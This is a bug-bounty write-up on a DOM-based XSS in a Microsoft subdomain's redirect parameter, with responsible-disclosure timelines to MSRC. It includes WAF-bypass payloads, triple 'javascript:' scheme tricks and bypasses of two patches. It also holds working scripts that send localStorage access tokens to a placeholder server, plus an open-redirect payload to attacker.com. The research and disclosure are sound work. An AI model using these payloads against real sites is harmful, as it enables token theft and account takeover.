Triple Trouble: Bypassing Sanitization to Steal Microsoft Tokens
“If you’ve ever conducted security research or bug hunting on Microsoft’s platforms, you’ve likely tested this endpoint — I’d bet on it!”
In this write-up, I’ll walk you through how I uncovered a DOM-based cross-site scripting (XSS) vulnerability in one of Microsoft's subdomains by analyzing JavaScript, which led to the discovery of an unconventional payload format. I’ll also break down how I bypassed the Web Application Firewall (WAF) to craft a payload that ultimately allowed me to steal user access tokens.
It was one of Microsoft’s well-known domains, and spotting the injection point was easy. After logging in, the application relied on the redirectUrl
parameter to guide users post-authentication (login/register).
https://█████.microsoft.com/████/register?redirectUrl=https%3A%2F%2F█████.microsoft.com%2Fanother%2Fendpoint
At the first sight, it appeared to be a server-side redirect. However, after testing it with Burp Suite, no 30X status codes were observed, indicating that the redirection was actually occurring on the client side. So, like anyone would, I started with the classic javascript:
scheme, calling the print()
function to test the initial behavior.
It’s always smarter to start with safe functions that won’t trip any Web Application Firewall (WAF) defenses. Use them first to validate the bug, then switch to a more impactful payload.
https://████.microsoft.com/███/register?redirectUrl=javascript:print()%2F%2F█████.microsoft.com%2Fanother%2Fendpoint
As observed, the response returned “Access Denied” indicating that the Akamai WAF had flagged the request. To determine whether the detection was triggered by script execution or protocol validation, I invoked a non-existent function, melo()
.
Great! Now we know that the WAF allows the use of the javascript:
scheme, which opens up exciting possibilities. The next step is to focus on manipulating the script execution. As observed earlier, the WAF might block direct function calls, so an effective workaround is to assign the target function to a new variable and then invoke it indirectly.
melo=print;melo()
This approach demonstrates the inherent flexibility of JavaScript’s syntax, enabling creative ways to execute built-in functions like print
, alert
, etc.
Unfortunately, it appears that the WAF flags this method as well. To bypass this restriction, we can leverage another technique like treating the target function as a callback. Here’s how it works:
In JavaScript, we have the built-in function Array.prototype.some(callbackFn)
, which is used to test whether at least one element in an array meets a specified condition. This method executes a callback function on each element of the array until the condition is satisfied.
There are several functions that can be used in a similar way, such as Array.prototype.map()
, Array.prototype.find()
, and others.
For instance, using [1].some(print)
will effectively invoke the print
function with the array element 1
as its argument, resulting in a call equivalent to print(1)
.
Using javascript:[1].some(print)
also triggered an "Access Denied" response. However, when I combined both previously mentioned techniques—assigning the function to a variable and treating it as a callback, it resulted in the following payload:
javascript:melo=print;[1].some(melo);
// equal to print(1)
That’s great, WAF bypassed! But hold on — I didn’t see any execution of the print
function. Curious, I opened the console to investigate potential execution errors related to my input (like CSP detection or error handling), but there was nothing.
Instead of executing the payload, the application paused for a moment and then redirected me back to the same page, but with a new redirectUrl
value.
Interesting! This behavior suggests that an additional check might be happening. To investigate further, I need to look closely at each step, from how my input is handled to when the redirection happens, to find out exactly where the payload fails.
I opened the browser’s DevTools and searched for the term redirectUrl
, hoping to uncover any clues pointing to the beginning of the execution thread. I got the following function Hee()
:
async function Hee() {
if (!R.userServices)
/*
Some code that assign the parameters
of the current request the the "r" object
*/
switch (r.type) {
case "csc":
// some code
return;
default:
if (r.redirectUrl) {
let i = new URL(ae.href)
, a = za(r.redirectUrl);
if (i.pathname !== a.pathname) {
ae.href = a.toString();
return
}
}
// the rest of the function
}
The application assigns the r
object to all parameters passed in the current location.href
and processes them using a switch
statement based on the type
parameter. While most cases were straightforward and uneventful, the default case stands out as our target. This case is triggered when the type
parameter is absent or assigned to an undefined value.
if (r.redirectUrl) { // "r.redirectUrl" our controlled value
let i = new URL(ae.href) // "ae.href" is the location.href
, a = za(r.redirectUrl);
if (i.pathname !== a.pathname) {
ae.href = a.toString();
return
}
}
Our input is called as an argument to the function za()
.
Analyzing the za
() Function:
function za(e="", t=`${ae.origin}${ae.pathname}`) {
let o = e ? new URL(e) : new URL(t);
if (o.protocol === "https:"
&& (o.hostname === ae.hostname || o.hostname.endsWith(".microsoft.com")
|| o.hostname === "microsoft.com"))
return o;
let n = `${ae.origin}${ae.pathname}`;
return t === n ? new URL(`${o.pathname}${o.search}${o.hash}`,`${ae.origin}`) : za(t)
}
From the first sight, this function appears to be responsible for handling URLs. By breaking it down, we can see that it expects two arguments:
e
: This represents the URL to be processed (ourredirectUrl
input).t
(defaulting to the origin and pathname of the currentlocation.href
): This acts as a fallback base URL ife
is not provided.
let o = e ? new URL(e) : new URL(t);
- If the
e
parameter (our input) is provided, the function creates a newURL
object from it. - If
e
is empty, it creates aURL
object using thet
parameter (the fallback base URL).
Since we’re passing a value for e
in our testing, we’ll proceed under this assumption.
if (o.protocol === "https:"
&& (o.hostname === ae.hostname || o.hostname.endsWith(".microsoft.com")
|| o.hostname === "microsoft.com"))
return o;
The function checks if the protocol of the URL (o.protocol
) is https:
to ensure secure communication.
Then it validates the hostname (o.hostname
) to confirm it meets one of the following conditions:
- Matches the current application’s hostname (
ae.hostname
). - Ends with
.microsoft.com
. - Exactly matches
microsoft.com
.
If the URL passes these conditions, it is considered valid and returned as it is.
let n = `${ae.origin}${ae.pathname}`;
return t === n ? new URL(`${o.pathname}${o.search}${o.hash}`,`${ae.origin}`) : za(t)
/*
n is also the location.href, and t is the same value
so of cource they will alwasy equal
*/
If the URL fails the above conditions, the function constructs a new URL based on: (Pay close attention to this part)
- The
pathname
,search
, andhash
of the input URL (o
) — which is actually includes parts of our input. - The
origin
of the current application (ae.origin
).
This logic ensures that: if the input URL doesn’t use https:
, the function ignores its origin and builds a new URL using only its path
, query
, and fragment
, and appends them to the current page’s origin.
This explains why our payload didn’t execute. I also noticed an interesting behavior in the code just before the redirection occurs, it recursively calls the za()
function again, passing its own output as an argument. The flow looks something like this:
e = za(r.redirectUrl);
.....
.....
let n = za(e);
location.href = n;
This double invocation suggests that the application is reprocessing the already-validated URL, likely as an additional safety measure. However, this behavior might open up room for creative payload manipulation during the recursive calls.
Let’s circle back to the za()
function and think logically by asking some questions:
- Is our input, or at least part of it, used in constructing the final URL?
→ Yes. - So, who is actually responsible for building that final URL?
→ It seems like theza()
function is running the show. - But wait, who’s really in charge behind the scenes?
→ Thenew URL
constructor! Of course! - So what’s next?
→ Well, now that we’ve identified the real player, it’s time to fuzz its behavior and see how it handles edge cases!
Before diving into fuzzing, I decided to check the MDN docs for any hidden gems, and I stumbled upon the following bright spotlight!
Look again at our code:
new URL(`${o.pathname}${o.search}${o.hash}`,`${ae.origin}`)
This means that if we could send o.pathname
as an absolute URL, it would completely ignore the base
part, effectively bypassing the restriction that’s holding us back. I started fuzzing it immediately, aiming to make the if
statement return false and open up these new possibilities.
To force the if
statement to return false, you can simply use any non-Microsoft hostname or choose any protocol other than https:
. I decided to go with the second option.
As you can see, I managed to inject something, but it wasn’t an absolute URL. So, I added the javascript:
protocol to keep it basic, and kept experimenting and tweaking further.
Good, we can add a second javascript:
protocol! I tried to simulate how the code behaves in a dummy website. Check the console below:
Great, that should work. Let’s add our print payload again and try in our vulnerable subdomain:
javascript:javascript:melo=print;[1].some(melo);//
Again! The application paused for a moment and then redirected me back to the same page (the same behavior). No surprises there — it’s exactly what we expected, knowing that the function gets called twice!
So we need to deal with the second call. Here is the sequence of the second call along with comments shows how it works.
// r.redirectUrl = 'javascript:javascript:melo=print;[1].some(melo);//'
e = za(r.redirectUrl);
// Now "e" variable become → 'javascript:melo=print;[1].some(melo);//'
.....
.....
// passing the "e" to the za() function again.
let n = za(e);
// Now "e" variable would be validated because it starts with javascript:'
location.href = n
// The second call in-action
function za(e="javascript:melo=print;[1].some(melo);", t=`${ae.origin}${ae.pathname}`) {
let o = e ? new URL(e) : new URL(t);
// o.pathname become → 'melo=print;[1].some(melo);//'
if (o.protocol === "https:"
&& (o.hostname === ae.hostname || o.hostname.endsWith(".microsoft.com")
|| o.hostname === "microsoft.com"))
return o;
let n = `${ae.origin}${ae.pathname}`;
return t === n ? new URL(`${o.pathname}${o.search}${o.hash}`,`${ae.origin}`) : za(t)
// resulting URL → https://vulnsub.microsoft.com/melo=print;[1].some(melo);//
}
It might seem like we’ve achieved nothing, but here’s the good news — we’re still dealing with the same function we bypassed earlier! So, why not bypass it again?
Adding another javascript:
protocol will solve all issues. Triple schemas! Sounds wild, doesn’t it?
javascript:javascript:javascript:melo=print;[1].some(melo);//
Side Note*: The value of redirectUrl
is also used elsewhere in another function. So, to kill two birds with one stone, we need to make it a valid JavaScript code.
Changing the middle protocol to turn it into just a label would be enough!
Final payload:
javascript:melo:javascript:melo=print;[1].some(melo);//
Awesome! Ready to report?
Not so fast ! You know my rules, I’m always about escalating it further!
A quick look at the cookies, I found the user token has httpOnly
flag. I decided to check the sessionStorage
or localStorage
where I uncovered all the valuable information.
I decided to reuse the payload from this vulnerability, employing the same technique: utilizing a form to transmit large strings as a POST request to our server
content = btoa(JSON.stringify(localStorage));
f = document.createElement("form");
f.method = "post";
f.action = "https://{YOUR_SERVER}/Steal.php"
i = document.createElement('input');
i.name = "data";
i.value = content;
f.appendChild(i);
document.body.appendChild(f);
f.submit();
Then encode it as a base64 to not caught by the WAF, and planned to execute it using eval()
. But before proceeding, I reviewed the Content Security Policy (CSP) to confirm that unsafe-eval
was allowed, and it was. However, something else caught my attention: the form-action
directive was in place, allowing only limited actions.
I decided to sidestep all these restrictions and crafted a simple payload that dynamically generates images for each value stored in localStorage
.
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const value = localStorage.getItem(key);
const encodedData = encodeURIComponent(`key=${key}&value=${value}`);
const img = document.createElement("img");
img.src = `https://{YOUR_SERVER}/?data=${encodedData}`;
img.alt = `Image for ${key}`;
document.body.appendChild(img);
}
This allowed me to receive multiple requests on my server, each containing a piece of localStorage
content, including the access tokens.
By encoding the localStorage
properties in base64, I applied the same concept as the payload we crafted earlier:
q=atob;
w='{BASE64_PAYLOAD}';
a=eval;
[q(w)].some(a);
Full payload:
javascript:melo:javascript:q=atob;w='{BASE64_PAYLOAD}';a=eval,[q(w)].some(a);
Now it’s time to send the report to Microsoft!
Report Timeline:
30 Jan 2025: Reported the vulnerability to the MSRC team.
31 Jan 2025: MSRC acknowledged the report and opened a case.
13 Feb 2025: MSRC confirmed the case, implemented a fix, and got acknowledgment from Microsoft.
Mitigation Bypass:
When MSRC team implemented the fix, I gave it another check, They only added an edit to the za()
function and here is the new version:
function za(e='', t=`${ae.origin}${ae.pathname}`) {
let o = e ? new URL(e) : new URL(t);
if (o.href.toLowerCase().startsWith('javascript:')) return new URL(ae.origin); // new line
if (o.protocol === 'https:' && (o.hostname === ae.hostname ||
o.hostname.endsWith('.microsoft.com') || o.hostname === 'microsoft.com'))
return o;
let n=`${ae.origin}${ae.pathname}`;
return t === n ? new URL(`${o.pathname}${o.search}${o.hash}`, `${ ae.origin }`) : za(t)
}
They add only the following if
statement to it.
if (o.href.toLowerCase().startsWith('javascript:')) return new URL(ae.origin);
It simply verifies if the input starts with the javascript:
scheme, and if so, the function utilizes the current origin from the location.href
property and processes it further in the subsequent lines.
Let’s think about it. When exactly does this statement apply?
The first call to the function filters out the first protocol, and the second call filters out the second protocol. So, is the third one affected?
- No!
Now, which protocol is actually used to execute our payload?
- The third one!
This means we can still execute our payload as long as the first and second protocols are not javascript:
. That way, the third one (our actual payload) survives the filtering! Is it possible? Let’s see.
If we disregard the side note I mentioned earlier*, having javascript:
protocol at the beginning of the payload isn’t strictly necessary, as it will be ignored anyway!
So, we can simply craft the following full payload:
melo:tover:javascript:a=eval;['ale'.concat('rt(/melotover/)')].some(a);//
This time, I demonstrated the proof-of-concept with an alert pop-up.
2nd Report Timeline:
15 Feb 2025: Reported the vulnerability to the MSRC team.
18 Feb 2025: MSRC acknowledged the report and opened a case.
27 Feb 2025: MSRC confirmed the case, implemented a fix, and got acknowledgment from Microsoft.
Mitigation Bypass (2nd Round)?
Could it be bypassed again? Maybe.
Let’s check the new version of the code:
function za(e='', t=`${ ae.origin }${ ae.pathname }`) {
let o = e ? new URL(e, ae.href) : new URL(t);
if (o.href.toLowerCase().indexOf('javascript:') !== -1) return new URL(ae.origin);
if (
o.protocol === 'https:' &&
(
o.hostname === se.hostname ||
o.hostname.endsWith('.microsoft.com') ||
o.hostname === 'microsoft.com'
) || D$(o.href)
) return o;
let n = `${ ae.origin }${ ae.pathname }`;
return t === n ? new URL(`${o.pathname}${o.search}${o.hash}`, `${ ae.origin }`) : za(t)
}
Focusing on the if
statement, this time they used the indexOf
method instead of startsWith
, which is a smart move.
This way, the code checks whether the entire URL contains the string javascript:
anywhere within it. If it finds it, our input would be immediately ignored.
Using alternative protocols like data:
is not effective, as most modern browsers block top-level data:
URIs due to security restrictions.
But what about https:
? I believe the most impact we can achieve here is an open redirection, using the following payload:
melo:tover:https://attacker.com
Since URL redirection is out of scope, I’ll pause the analysis here, keeping this open redirect in my pocket in case it helps pivot to something more significant later.
That’s it! I hope you enjoyed reading, and I’d love to hear any feedback you have!